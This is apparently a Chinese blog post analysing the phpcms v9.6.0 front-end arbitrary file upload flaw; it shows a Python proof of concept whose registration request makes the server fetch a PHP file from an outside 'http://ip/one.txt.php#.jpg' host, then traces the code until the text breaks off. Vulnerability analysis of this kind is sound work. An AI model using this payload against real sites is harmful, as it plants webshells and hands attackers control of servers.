phpcms漏洞_phpcms v9.6.0前台任意文件上传漏洞分析

5aafb5394bc60e665d338c4a0957e29a.png

前言

上一节我们分析了phpcms的后台get shell, 但是众所周知, 开发者对后台的漏洞 是不太上心的。因为管理员账号一般只有网站所有者才会有,如果入侵者能获取到管理员 账号,那么基本上意味着网站的所有信息都为他打开了大门,后台漏洞也就不那么重要了。
那么今天要分析的是phpccms 9.6.0版本的前台get shell. 漏洞的利用方式极其简单。 但是相对而言,代码的漏洞实现逻辑就没有前一篇文章那么简易明了了。

POC

先看一下POC:

import re
import requests

def poc(url):
    u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
    data = {
        'siteid': '1',
        'modelid': '1',
        'username': 'test',
        'password': 'testxx',
        'email': 'test@test.com',
        'info[content]': '<img src=http://ip/one.txt.php#.jpg>',
        'dosubmit': '1',
    }
    rep = requests.post(u, data=data)

漏洞分析

poc非常简单。如果对phpcms有基本的了解的话,可以从url里看出,这其实就是会员的注册 操作。
好的,那么到phpcms/modules/member/index.php 找到register函数, 一路看下来, 一直到:

if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
    require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);     
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);                                      
}

我们看到$_POST['info']在这里被处理过了, 跟进到"new_html_special_chars"函数:
phpcms/libs/functions/global.func.php 第37行

function new_html_special_chars($string) {
    $encoding = 'utf-8';
    if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
    if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
    foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
    return $string;
}

可以看出, 函数对$_POST['info']进行了html实体转换处理。
好,到下一行, 跳转到$member_input->get函数:
caches/caches_model/caches_

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值